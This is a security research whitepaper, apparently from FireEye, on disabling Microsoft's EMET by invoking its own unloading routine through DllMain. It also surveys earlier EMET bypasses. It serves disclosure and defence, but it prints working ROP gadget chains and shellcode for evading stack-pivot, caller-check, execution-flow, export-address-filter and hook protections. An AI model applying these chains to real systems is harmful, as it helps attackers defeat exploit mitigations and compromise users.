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Using	  EMET	  to	  Disable	  EMET	  
By Abdulellah Alsaheel and Raghav Pande	  

Introduction	  
 
Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) is a project that adds security mitigations to user mode 
programs beyond those built into the operating system. It runs inside “protected” programs as a Dynamic Link Library 
(DLL), and makes various changes in order to make exploitation of the program more difficult. 
 
EMET bypasses have been seen in research and past attacks [2, 3, 4, 5, 6, 7, 8]. Generally, Microsoft responds by changing 
or adding mitigations to defeat any existing bypasses. EMET was designed to raise the cost of exploit development and not 
as a “fool proof exploit mitigation solution” [1]. Consequently, it is no surprise that attackers who have read/write 
capabilities within the process space of a protected program can bypass EMET by systematically defeating each mitigation 
[2]. 
 
If an attacker can bypass EMET with significantly less work, then it defeats EMET’s purpose of increasing the cost of 
exploit development. We present such a technique. Microsoft has issued a patch to address this issue in EMET 5.5. 
 
After discussing this new technique, we describe previously documented techniques used to either bypass or disable EMET. 
Please refer to the appendix if you’d like to know more about what kind of protections are implemented by EMET. 

New	  Technique	  to	  Disable	  EMET	  
 
EMET injects either emet.dll or emet64.dll (depending upon the architecture) into every protected process, which installs 
Windows API hooks (i.e detours) in exported functions by DLLs such as kernel32.dll, ntdll.dll, and kernelbase.dll. These 
hooks provide EMET the ability to analyze any code calls in critical APIs and determine if they are legitimate. If code is 
deemed to be legitimate, EMET hooking code jumps back into the requested API; otherwise, it triggers an exception. 
 
However, there exists a portion of code within EMET that is responsible for unloading EMET. The code systematically 
disables EMET’s protections and returns the program to its previously unprotected state. One simply needs to locate and 
call this function to completely disable EMET. In EMET.dll v5.2.0.1, this function is located at offset 0x65813. Jumping 
directly to this function results in the removal of EMET’s installed hooks. 
 
This feature exists because emet.dll contains code for cleanly exiting from a process. Conveniently, it is reachable from 
DllMain. 
 
Prototype of DllMain :  
BOOL WINAPI DllMain( 
  _In_ HINSTANCE hinstDLL, 
  _In_ DWORD     fdwReason, 
  _In_ LPVOID    lpvReserved 
); 
 
The first parameter of DllMain provides the base address of the DLL. The second parameter provides a way for the PE 
loader to communicate if the DLL is being Loaded or Unloaded, 1 or 0 respectively. If the fdwReason is 1, the DLL knows 
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that it is being loaded and initializes. If the fdwReason parameter is 0 (DLL_PROCESS_DETACH), emet.dll initiates the 
unloading code, thus it simply goes through the exit routine assuming that it’s being unloaded, and it removes its hooks and 
exception handlers, thereby simply removing EMET’s checks. Note that this will not remove EMET from memory; it just 
ensures all of its protections are disabled. 
 
This kind of feature could exist in any detection-oriented product, which relies on user-space hooks, and in order to make 
sure the product does not break, there has to be an unloading routine that removes all protection checks. EMET’s DllMain 
can be found through a small Return Oriented Programming (ROP) gadgets chain shown in the next section, which just 
jumps to the DllMain with the right parameters to unload EMET protection checks. 
 
BOOL WINAPI DllMain (GetModuleHandleA("EMET.dll") , DLL_PROCESS_DETACH , NULL); 
 
The GetModuleHandleA function is not hooked by EMET since it is not considered as critical Windows API. We use this 
function to retrieve the base address of emet.dll. Since the PE header is located at the base address, we have to use it to find 
the address of the DllMain to send the required parameters. 
Disabling	  EMET	  –	  Details	  
  
The function behind removing EMET hooks is located at offset 0x27298, which is shown in Figure 1. 
 
 

 
Figure 1: Function at offset 0x27298 responsible for removing EMET hooks 

 
First, the function loops through all Detoured_API structures, and zeroes out the DetouredFunctionPrologue for each 
associated Detoured_API_Config structure. 
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The Detoured_API structure, depicted below, is a linked list that tracks whether an API is actively detoured and references 
the DetouredAPIConfig: 
 
struct Detoured_API { 
BOOL isActive;                                 // isActive field shows the hooking status, Active: 0x1 
PVOID DetouredAPIConfig;             // pointer to Detoured_API_Config structure 
PVOID nextDetouredAPI;                 // pointer to the next Detoured_API structure 
}; 
 
The Detoured_API_Config structure (partially shown below) stores information about the detour and its original API. 
 
struct Detoured_API_Config { 
PVOID DetouredWindowsAPI;          // pointer to the detoured Windows API 
PVOID EMETDetouringFunction;      // pointer to where EMET protection implemented 
PVOID DetouredFunctionPrologue;  // pointer to the Windows API prologue 
… 
}; 
 
The DetouredFunctionPrologue contains a copy of the original API prologue, followed by a jump to the remainder of the 
original API. 
 
After clearing the DetouredFunctionPrologue in all Detoured_API_Configs, the function in Figure 1 calls Patch_Functions. 
Patch_Functions walks the Hook_Config linked list structure partially shown below: 
 
struct Hook_Config { 
PVOID nextHookConfig;                    // pointer to the next Hook_Config 
BOOL isActive;                                  // isActive field shows the hooking status, Active: 0x1 
PVOID ptrEffectiveFunction;             // pointer to EMETDetouringFunction or non-detoured API 
PVOID DetouredWindowsAPI;          // pointer to the detoured Windows API 
PVOID EMETDetouringFunction;      // pointer to where EMET protection implemented 
… 
}; 
 
For each Hook_Config, Patch_Functions restores the original API prologue as seen in Figure 2. Patch_Functions retrieves 
the size and address of the original function prologue from EMETDetouringFunction, and passes the values to memcpy. 
After each API is restored to its original state, Patch_Functions changes ptrEffectiveFunction to point directly to the 
original API. 
 

  
Figure 2: Code that removes detours  
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After looping through all the detoured APIs and patching them with memcpy, you see that all the detours in Windows APIs 
are gone, as show in Figure 3 and Figure 4, before and after respectively. 
 

 
Figure 3: Before calling DllMain with unloading parameters. 

 

 
Figure 4: After calling DllMain with unloading parameters. 

 
EMET then continues to disable EAF and EAF+ protections. In the function at offset 0x609D0, EMET zeros out and 
reinitializes CONTEXT structure, and manipulates debugging registers (as shown in Figure 5). However, at the end of the 
function, EMET calls NtSetContextThread, which results in zeroing out the debugging registers, and hence disabling EAF 
and EAF+ protections. 
 

 
Figure 5: EAF & EAF+ disabling code. 

 
Finally, at the end of the function at offset 0x60FBF, EMET calls the function located at offset 0x60810 that calls 
RemoveVectoredExceptionHandler to remove the defined vectored exception handler, which has been added using 
AddVectoredExceptionHandler. 
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Disabling	  EMET–	  ROP	  Implementation	  
 
Using an old and patched vulnerability, CVE-2011-2371, we built ROP gadgets on top of an already existing exploit, and 
executed it with EMET protections enabled. After our ROP gadgets called the DllMain function of EMET.dll with 
parameters (EMET.dll base address, 0, 0), we returned to execution, and all the detours placed in the hooked Windows 
APIs were gone along with EAF and EAF+ protections. 
 
MOV ESP,44090000 # ~ # RETN // STACKPIVOT 
POP EAX # RETN // STORE GetModuleHandleA IAT POINTER INTO EAX 
MOZCRT19+0x79010 // MOZCRT19!_imp__GetModuleHandleA 
MOV EAX,DWORD PTR DS:[EAX] # RETN   // GET GetModuleHandleA ADDRESS 
PUSH EAX # RETN # // Call GetModuleHandleA("EMET.dll") 
Return Address XOR EDX,EDX # RETN   // ZERO OUT ECX 
0x44090108 // "EMET" STRING ADDRESS (GetModuleHandleA PARAMETER) 
OR EDX,EAX # ~ # RETN // STORE EMET.dll EMET_BASE_ADDRESS INTO EDX 
POP EBX # RETN // STORE DllMain() PARAMETER1 ADDRESS (i.e. hinstDLL) INTO EBX 
0x440900A4 // DllMain() PARAMETER1 (i.e. hinstDLL) ADDRESS 
MOV DWORD PTR DS:[EBX],EAX # ~ # RETN // hinstDLL PATCH WITH EMET_BASE_ADDRESS 
POP ECX # RETN # // STORE 0x3C (i.e. IMAGE_DOS_HEADER) INTO ECX 
0x0000003C // IMAGE_DOS_HEADER OFFSET 
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+0x3C 
MOV EAX,DWORD PTR DS:[EAX] # RETN // GET PE_HEADER OFFSET 
POP ECX # RETN # // STORE AddressOfEntryPoint OFFSET INTO ECX 
0x00000028 // AddressOfEntryPoint OFFSET 
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+PE_HEADER+0x28 
MOV EAX,DWORD PTR DS:[EAX] # RETN // GET DllMain() OFFSET 
POP ECX # RETN # // ZERO OUT ECX 
0x00000000 
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+DllMain 
Call EAX // CALL DllMain(GetModuleHandleA("EMET.dll") , DLL_PROCESS_DETACH , NULL) 
0x42424242 // hinstDLL = GetModuleHandleA("EMET.dll") (TO BE PATCHED) 
0x00000000 // fdwReason = DLL_PROCESS_DETACH 
0x00000000 // lpvReserved = 0x00000000 

 

EMET	  5.5	  Fix 
Many changes happened on the code level. However, the patch_functions and its memcpy still exist, additionally, the 
Detoured_API structures and the Hook_Config structure still exist. Additional checks have been added to the code to keep 
intruders from jumping to the unloading code using DllMain. However, the unloading code can be reached with a direct 
jump to the offset 0x00063ADE, but it has no effect on the installed hooks. The EMETDetouringFunction in Hook_Config 
structure, which was being used in EMET 5.2 to retrieve the original prologue address and the size of the prologue for 
memcpy use, EMET is no longer does that, instead, in EMET 5.5 EMETDetouringFunction pointer is used to retrieve the 
API hook address and its size, if these values gets passed to memcpy then this will result in re-writing the hooks instead of 
removing them. 
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Previous	  EMET	  Bypass	  Techniques	  
  
Previous techniques used to bypass EMET protections generally exploit design and implementation flaws, or work because 
some module or API was left out and not secured. We will describe a few of these bypass techniques. 
 
Since LoadLibrary is a critical API, EMET 4.1 raises an exception if it gets called with either a return or jump instruction, 
but Jared DeMott showed that calling LoadLibrary API with a call instruction instead of jumping or returning bypasses 
EMET LoadLibrary protection [2].  
 
The LoadLibrary API is monitored in order to prevent loading UNC paths (i.e. \\evil\bad.dll). Aaron Portnoy showed that 
this could be bypassed by using MoveFile API (which is not monitored by EMET 4.0) to download a DLL file that can then 
be loaded by LoadLibrary API [3]. 
 
Caller check protection in EMET 4.1 is used to prevent ROP gadgets by checking if a critical Windows API has been called 
with a call instruction, return instruction, or jump instruction – the latter two are widely used in ROP gadgets. DeMott 
showed a way to bypass caller check protection by executing a legitimate call to the critical API function [2]. Instead of 
calling VirtualAlloc API directly with a return or jump instruction (which will cause EMET to raise an exception), DeMott 
used a call instruction to VirtualAlloc API in one of the loaded modules, and by returning to the address of that call 
instruction, the critical Windows API gets called without having EMET get in the way. 
 
Critical Windows API functions are located in kernel32.dll, ntdll.dll and kernelbase.dll; EMET 3.5 was hooking the 
functions exported by the first two modules, but not for kernelbase.dll. Shahriyar Jalayeri used this fact to execute 
VirtualProtect API located in the kernelbase module to make the memory writable and executable [4]. However, after 
EMET 4.0 was released, the Deep Hooks protection is hooking even the lowest level of critical Windows API functions. 
 
Jalayeri also bypassed EMET by using the _KUSER_SHARED_DATA structure (which has a fixed address) located in 
0x7ffe0000, wherein at offset 0x300 there is a SystemCallStub pointer that points to KiFastSystemCall, which is the typical 
way to execute sysenter instruction. With that, he was able to call any system call by specifying its number in the EAX 
register (e.g. 0x0D7 for ZwProtectVirtualMemory). Additionally, Jalayeri was able to deactivate EMET completely by 
patching the function prologue with a return instruction to make it ineffective. 
 
EAF protection uses debug registers to place breakpoints on accesses of exported functions in modules such as kernel32.dll, 
ntdll.dll and kernelbase.dll. These breakpoints can be bypassed using a shellcode that uses the import address table instead 
of the export address table (since this protection is applicable for export address table only). 
Previous	  EMET	  Disabling	  Techniques	  
  
Unlike bypasses, which circumvent protections, disabling EMET turns off its protections entirely. For example, EAF (and 
EAF+ partially) can be disabled by clearing hardware breakpoints (i.e. zero out the debugging registers). Piotr Bania used 
the undocumented Windows APIs NtSetContextThread and NtContinue to achieve this, but since NtSetContextThread is 
hooked by EMET, one should first disable other EMET protections to make NtSetContextThread usable [5].  
 
Offensive Security found that most of EMET 4.1 protections first check the value of an exported global variable located at 
offset 0x0007E220 in emet.dll; if that variable’s value is zero, then the protection body proceeds without interfering with 
the caller code [6]. It turned out that the global variable is the global switch used to turn on/off EMET protections, and by 
having that variable in a writable data section, attackers can craft ROP gadgets to zero out that variable easily. 
After doing some analysis, we found that EMET v2.1 has the same global switch located in the offset 0xC410, and because 
of this we suspect that EMET has the global switch weakness from the earliest versions of EMET by having the global 
variable in fixed addresses. This was the case until EMET 5.0 was released. 
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Offensive Security found that in EMET 5.0, Microsoft put that global variable on the heap within a large structure (i.e. 
CONFIG_STRUCT) with the size of 0x560 bytes [7]. However, the same concept is still applicable since there is a pointer 
to the CONFIG_STRUCT structure located in a fixed offset 0x0AA84C. As a protection, EMET was encoding this pointer 
value with EncodePointer function, and every time the EMET protection needed to check that value, it would decode it with 
DecodePointer function to get the CONFIG_STRUCT address. Zero out CONFIG_STRUCT+0x558 turns off most of 
EMET protections. Additionally, to turn off EAF and EAF+ they used unhooked pointers to NtSetContextThread stored at 
CONFIG_STRUCT+0x518. 
 
In EMET 5.1, Offensive Security found that the global variable holds encoded pointer values to some structure (i.e. 
EMETd), which is stored in the offset 0xF2A30 [8]. The EMETd structure has a pointer field to the CONFIG_STRUCT 
structure that holds the global switch at the offset CONFIG_STRUCT+0x558 as additional protection layer to the pointer’s 
encoding. EMET 5.1 uses the cpuid instruction to XOR the returned values with the encoded pointer’s values. To decode 
CONFIG_STRUCT, they used the code in the offset 0x67372 of emet.dll, which decodes the EMETd structure and then 
returns back the decoded pointer of CONFIG_STRUCT. Since the global switch (i.e. CONFIG_STRUCT+0x558) is stored 
in a read-only memory page, Offensive Security found a way to change that by using unhooked pointers stored in EMET at 
fixed addresses. They used an unhooked pointer to ntdll!NtProtectVirtualMemory stored at CONFIG_STRUCT+0x1b8 to 
mark it as a writable memory page, so they can zero out the global switch at CONFIG_STRUCT+0x558. For disabling EAF 
and EAF+, they have used the unhooked pointer to NtSetContextThread stored at CONFIG_STRUCT+0x518, the same as 
what they did in disabling EMET 5.0. 

 

Individual	  Protection	  Evasions	  
 
EMET has multiple protections for exploit detection and the most commonly used ones are as follows: 

• StackPivot 
• Caller Check 
• SimExecFlow 
• EAF 

First three are ROP detection mechanisms and the last one is a shellcode detection mechanism. 
 
Bypassing these protections individually can lead to the evasion of EMET. Other products implement similar protections, 
so, evading these in EMET could allow the bypassing of commercial and freeware as well. 
 
When a hooked API is called, StackPivot protection takes a stack pointer’s address and checks if it is within the range of the 
stored stack lower limit and upper limit in the Thread Environment Block (TEB) structure. If it is outside the range, EMET 
terminates the application and reports ROP mitigation. 
 
Known evasions of StackPivot are as follows: 
 

1. Stack Switching 
Stack switching uses a common set of gadgets to push intended ROP gadgets to execute on real stack from fake 
stack after EIP gets pivoted. First and foremost, ESP is saved in some register (e.g. EAX) while it gets migrated to 
heap, then ROP gadgets can be used to copy actual gadgets to original stack and decrement stack pointer 
effectively. This way all gadgets gets transferred to stack and when they are utilized to call an API, the validation 
logic from EMET does not find anything inconclusive with detection logic. The method was first theorized in 
Bromium’s paper [2] on bypassing EMET 4.1 and then seen in the wild being exploited (hash : 
092FD8CC0598B904E0E4CCA00A8A927E). 
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xchg eax,esp; retn  //Stack Pivot 
pop ecx; retn  //pop gadget to push on real stack in ecx 
[gadget] 
mov [eax],ecx; retn  //eax contains actual stack, put this gadget on that 
pop ecx; retn  //pop next gaget to push on real stack in ecx 
[gadget] 
sub eax,4; retn  //subtract stack pointer by 4 to make room 
mov [eax],ecx; retn  //plant next gadget 
pop ecx; retn 
[gadget] 
sub eax,4; retn 
mov [eax],ecx; retn 
... 
xchg eax,esp; retn  //restore original stack and execute the saved chain 

 
2. Custom Class 

First found in operation Clandestine Wolf, used in CVE-2015-3113 (discovered by FireEye [9]). A custom class is 
created by an attacker, which requires too many arguments. Then an object of that class is generated with a vftable, 
which can be modified with vector object read/write. When this corrupted function is called internally from 
ActionScript engine, arguments will be on stack. The function pointer is corrupted with a gadget that adds a value 
to stack pointer and reaches an address, which can be controlled because of huge argument list. This way ROP 
gadgets can be used from stack and there is no need to pivot to heap for API execution. 
Thus, bypassing stack pivot check completely. 

class CustomClass{ 
 public function victimFunction(arg1:uint, arg2:uint, ... , arg80:uint):uint 
} 
this.customObj.victimFunction( 
6f73b68b, //ret; (ROPsled) 
..., 
6f73b68a, //pop eax 
1f140100, 
6fd36da1, // call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40) 
1f140000, // Address 
00010000, // Size 
00001000, // Type 
00000040, // Protection 
6f73b68b*9 // ret (ROPsled) 
6fd36da7*2 // ret 
6f73aff0 pop ecx 
6fd36da7 
6fd36da7 jmp [eax] 
... 
) 
 
Just like stack pivot protection, Caller Check protection also relies on API hooks. It reads the return address from stack and 
starts reading the code backwards to determine if return address was preceded immediately by a call instruction. Then 
EMET validates whether that call instruction actually points to the address from which EMET received a callback. If any of 
the above is found inconclusive, EMET terminates the application and reports “CallerCheck” failed. 
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Known evasions of Caller Check are as follows: 
 

1. Call Gadget 
Before jumping to a hooked API the return address should be prefixed with a call instruction or simply a call 
register gadget can be used, finding a call ret/ret gadget would be very useful for this technique to work. The 
outcome is pretty straightforward, caller check validations will not alert EMET in anyway. 
The method was first theorized in Bromium’s paper [2] on bypassing EMET 4.1 and then seen in the wild being 
exploited (hash : 092FD8CC0598B904E0E4CCA00A8A927E) as follows: 

 
pop ecx; retn 
0xdeaddead //VirtualProtect in IAT 
call [ecx]; retn 
0x76d0100; //address 
0x1000; //size 
0x40; //protection 
0x76d0100; //writable memory 
0x76d0110 //shellcode address 

 
2. Return into Shellcode 

To circumvent Data Execution Prevention (DEP) we used VirtualProtect. We put the return address of 
VirtualProtect to point towards shellcode start. And since we control the shellcode, we place dummy instructions 
before it starts, which will fool EMET into thinking the caller check is valid. 

pop ecx; retn 
0xdeaddeadl //VirtualProtect in IAT 
jmp [ecx]; 
0x76d0110 //shellcode start as return address 
0x76d0100; //address 
0x1000; //size 
0x40; //protection 
0x76d0100; //writable memory 

 
State of Memory 

Return Address - 2 
call [ecx] 
Return Address: 
sub esp,0x30 
pushad 
mob ebp,esp 
//continue shellcode 

 
Just like the previous two ROP detection mechanisms, SimExecFlow also relies on API hooks. It can simulate a user 
specified number of instructions (default 15) to find out all return addresses in bandwidth. Then performs caller check 
for all of those return addresses. Usually this protection breaks most exploits, which try to appear legitimate by using a 
call gadget.  
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Known evasions of SimExecFlow are as follows: 
 
1. Double Call Gadget 

This is rarely found in applications, but is found in mshtml.dll and in Flash. Two sequential register calls can be 
used to evade DEP and execute shellcode before SimExecFlow realizes. Here we use VirtualProtect to evade DEP 
and then call shellcode. Next, the shellcode is executed, but the next 13 instructions should be treaded carefully so 
as not to trigger Caller Check since they are simulated before execution. 

pop esi; retn 
0x757be326; //VirtualProtect Address 
pop ebp; retn 
0x76d0110; //Shellcode Address 
0x74aa9d69; //Double Call address (mshtml.dll IE8) 
 
Double Call 
call esi 
call ebp 
call esp 
call ebx 

 
2. 20 Return Instructions 

This method requires the quite common call reg/retn gadget. The call reg/retn is used to call any API which is 
subjected to scrutiny and we supply the return address as the address of retn in call reg/retn. This way, the next ~20 
branches will return to same place. i.e. ret which was preceded by a call which bypasses SimExecFlow. 

pop eax; retn 
0x757be326 //VirtualProtect Address 
 
0x621f5d89 //call eax; retn 
 
0x76d0100; //lpAddress 
0x1000; //dwSize 
0x40; //Protection 
0x76d0100; //Writable location 
 
0x621f5d8b //retn 
0x621f5d8b //retn 
0x621f5d8b //retn 
0x621f5d8b //retn 
... ... 
0x76d0110; //Shellcode Location 
 
EAF (Export Address Filter), relies on hardware breakpoints which EMET puts on the export address table of ntdll, 
kernel32 and kernelbase. Once the export table is read from or written to, an exception is generated. This exception is 
caught by EMET’s handler code, and the handler code checks if context->EIP belongs to any legitimate module as per the 
PEB. If not, EMET terminates the application and reports “EAF mitigation” found.  
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Known evasions of EAF are as follows: 
 

1. Modifying PEB 
Since EMET’s validation logic iterates the Process Environment Block (PEB) to check if any loaded module’s 
code section range captures exception context’s EIP register, we can modify the PEB to point to our shellcode as a 
loaded module. However EMET parses PE headers as well as in order to truly evade this mitigation, first shellcode 
must find its own address. Then go back approximately 0x1000 bytes. Read first module (e.g. iexplore.exe) and 
copy first 0x1000 bytes over before shellcode, effectively prefixing a fake PE header before shellcode. Then 
altering the loaded module structure in PEB such that ImageBase now points to shellcode-0x1000. Afterwards any 
exception gets raised from shellcode or any API hook performing PEB based return address validation will fail. 
And EAF will be evaded. After work is done, PEB can be fixed back to original image base of loaded module we 
altered. 

SUB ESP, 0x4000                     ; subtract ESP to gain some stack space (your choice) 
MOV EAX, DWORD PTR FS: [30]         ; self explanatory 
MOV EAX, DWORD PTR DS: [EAX+C]  
MOV EAX, DWORD PTR DS: [EAX+14]  
MOV ESI, DWORD PTR DS: [EAX+10]     ; Base address of loaded ExE in ESI 
MOV ECX, 0x1000                     ; RVA offset to loaded PEs Code&Executable section (for winword its 0x1000) 
CALL next 
next: 
POP EDI                             ; gain EIP in EDI  
SUB EDI, 0x1019                     ; get EIP -0x1019 which would be starting of PE header, 
                                    ; such that 1st instruction "sub esp,0x4000" comes at base + 0x1000 exact 
REP MOVS BYTE PTR ES: [EDI] , BYTE PTR DS: [ESI]  
                                    ; slap PE header of loaded ExE before our code 
ADD EAX, 10                         ; point to BaseAddress place holder in loaded modules link list 
SUB EDI, 1000                       ; point EDI to DOS header part of PE header slapped before shellcode 
MOV DWORD PTR DS: [EAX] , EDI       ; make changes in PEB 

 
2. IAT usage [10] 

EMET uses hardware breakpoints to protect specific addresses. However, the number of hardware breakpoints is 
limited by the processor to use only four debugging registers. Hence, it cannot protect everything. In order to avoid 
the export address table, shellcode can instead use the Import Address Table (IAT) of any DLL which imports 
important API’s from kernel32, kernelbase, or ntdll. Most commonly used DLL’s for this method are msvcrt.dll 
and user32.dll. Both of them contain imports for GetProcAddress, which can then be used to resolve any API 
address without alerting EMET. In the following figure[10], user32’s base address is supplied to a function in 
shellcode which queries import address table and walks the table to fetch address of GetProcAddress from imports 
of user32.dll with use of a ‘rotate 7’ hash provided as second parameter to this function. After the api address is 
found, EAF is no long er a hinderance. 



 
 

FireEye, Inc. | 1440 McCarthy Blvd. Milpitas, CA 95035 | 408.321.6300 | 877.FIREEYE (347.3393) | info@fireeye.com | www.fireeye.com 12 
 
© 2016 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service 
marks of their respective owners. WP.CSEG.EN-US.042016 

 

 

Figure 6: User32 IAT usage for EAF evasion  

 

	  Evading	  Hooks	  and	  Anti-‐Detours	  
 
EMET primarily relies on API hooks and exception handling, and so do many commercial products. Since many 
protections revolve around API Hooks, circumventing the API hooks which EMET places in target application can 
essentially evade all memory oriented protections. To make evading hooks a little harder, EMET implements anti-detours, 
which plants random breakpoints after an API hook, Thus if any shellcode tries to jump past those hooks it raises an 
exception, which EMET captures and terminates the application. Now we have two problems: 
 

1. Bypassing Hooks through ROP 
 

2. Bypassing Anti-detours. 

 
The concept is basically to find API address to call, since the API is hooked we will get a branch instruction at prologue 
which will point to hook. Then the hook function has to divert execution to saved prologue, which it overwrote in order to 
intercept the API. If that API is reachable from initial hooked function prologue, we can calculate that from ROP, jump to it 
supplying it proper parameters and evading every protection in that API hook. 
For EMET this is the prologue. (e.g. VirtualProtect) 
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Figure 7: VirtualProtect hook evasion from ROP 

Through ROP we can have the address of API, increment the address and read dword present at address + 1 which will be 
relative offset for jump instruction. This way we can figure out where hook is going. Now as per the image, Hook function 
+ 0x26 is the saved prologue. In order to evade EMET, we can just add that value through ROP gadgets and reach actual 
function prologue without getting flagged by anyway or getting concerned by any protection. 
 
Xchg eax,esp; retn //Stack Pivot 
pop eax; retn 
Address of VirtualProtect 
 
mov ecx,eax; retn //Copy Address to another register 
inc eax; retn //point eax to relative DWORD 
mov eax,[eax]; retn //take DWORD in eax 
add eax,ecx; retn //relative offset + API_Address + 1 
add eax,4; retn 
inc eax; retn //eax pointing to hook trampoline 
pop ecx; retn 
0x26 
add eax,ecx; retn //eax points to saved prologue now 
jmp eax 
shellcode address 
shellcode address 
size 
protection 
writeable memory 
 
Although this method is very primitive and has failure chances, however it is very easy to deploy and with proper 
knowledge of target system, any attacker can pull it off easily. Hence through ROP, we can evade API hooks as well as 
Anti-detours protection of EMET along with all other protections provided on API hook. 
 
Even if ROP gadgets generate the exception (for other protections), EAF will find EIP present in legitimate loaded modules 
and will not raise an alert.  
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Conclusion	  
  
This new technique uses EMET to unload EMET protections. It is reliable and significantly easier than any previously 
published EMET disabling or bypassing technique. The entire technique fits within a short, straightforward ROP chain. It 
only needs to leak the base address of a DLL importing GetModuleHandleA (such as mozcrt19.dll), instead of full read 
capabilities over the process space. Since the DllMain function of emet.dll is exported, the bypass does not require hard-
coded version-specific offsets, and the technique works for all tested versions of EMET (4.1, 5.1, 5.2, 5.2.0.1). 
 
The inclusion and accessibility of code to disable EMET from within EMET creates a significant new attack vector. 
Locating the DllMain and calling it to shutdown all of EMET’s protections is significantly easier than bypassing each of 
EMETs protections as they were designed, and consequently undermines their value. 
 
Special thanks to: Michael Sikorski, Dan Caselden, Corbin Souffrant, Genwei Jiang, and Matthew Graeber. 

 

Appendix	  
EMET	  Protections	  
  
EMET has evolved through many years, and a brief description of features is provided below: 

 
EMET	  1.x,	  released	  in	  October	  27,	  2009	  
Structured Exception Handling Overwrite Protection (SEHOP): Provides protection against exception handler overwriting. 
Dynamic Data Execution Prevention (DEP): Enforces DEP so data sections such as stack or heap are not executable. 
NULL page allocation: Prevents exploitation of null dereferences. 
Heap spray allocation: Prevents heap spraying. 

 
EMET	  2.x,	  released	  in	  September	  02,	  2010	  
Mandatory Address Space Layout Randomization (ASLR): Enforces modules base address randomization; even for legacy 
modules, which are not compiled with ASLR flag. 
Export Address Table Access Filtering (EAF): Normal shellcode (e.g. Metasploit shellcode) iterates over the exported 
functions of loaded modules to resolve critical Windows API functions, which are normally exported by kernel32.dll, 
ntdll.dll and kernelbase.dll. EMET uses hardware breakpoints stored in debugging registers (e.g. DR0) to stop any thread 
which tries to access the export table of these modules, and lets the EMET thread verify whether it is a legitimate access. 

 
EMET	  3.x,	  released	  in	  May	  25,	  2012	  
Imported mitigations from ROPGuard to protect against Return Oriented Programming (ROP). 
Load Library Checks: Prevents loading DLL files through Universal Naming Convention (UNC) paths. 
ROP Mitigation - Memory protection checks: Protects critical Windows APIs like VirtualProtect, which might be used to 
mark the stack as executable. 
ROP Mitigation - Caller check: Prevents critical Windows APIs from being called with jump or return instructions. 
ROP Mitigation - Stack Pivot: Detects if the stack has been pivoted. 
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ROP Mitigation - Simulate Execution Flow: Detects ROP gadgets after a call to a critical Windows API, by manipulating 
and tracking the stack register. 
Bottom-up ASLR: Adds entropy of randomized 8-bits to the base address of the bottom-up allocations (including heaps, 
stacks, and other memory allocations). 

 
EMET	  4.x,	  released	  in	  April	  18,	  2013	  
Deep Hooks: With this feature enabled, EMET is no longer limited to hooking what it may consider as critical Windows 
APIs, instead it hooks even the lowest level of Windows APIs, which are usually used by higher level Windows APIs. 
Anti-detours: Because EMET places a jump instruction at the prologue of the detoured (hooked) Windows API functions, 
attackers can craft a ROP that returns to the instruction that comes after the detour jump instruction. This protection tries to 
stop these bypasses. 
Banned functions: By default it disallows calling ntdll!LdrHotpatchRoutine to prevent DEP/ASLR bypassing. Additional 
functions can be configured as well. 
Certificate Trust (configurable certificate pinning): Provides more checking and verification in the certificate chain trust 
validation process. By default it supports Internet Explorer only. 

 
EMET	  5.x,	  released	  in	  July	  31,	  2014	  
Introduced Attack Surface Reduction (ASR): Allows configuring list of modules to be blocked from being loaded in certain 
applications. 
EAF+: Similar to EAF, it provides additional functionality in protecting the export table of kernel32.dll, ntdll.dll and 
kernelbase.dll. It also detects MZ/PE header reads and whether the stack pointer points somewhere outside of the stack 
boundaries or if there is a mismatch between the frame and the stack pointer. 
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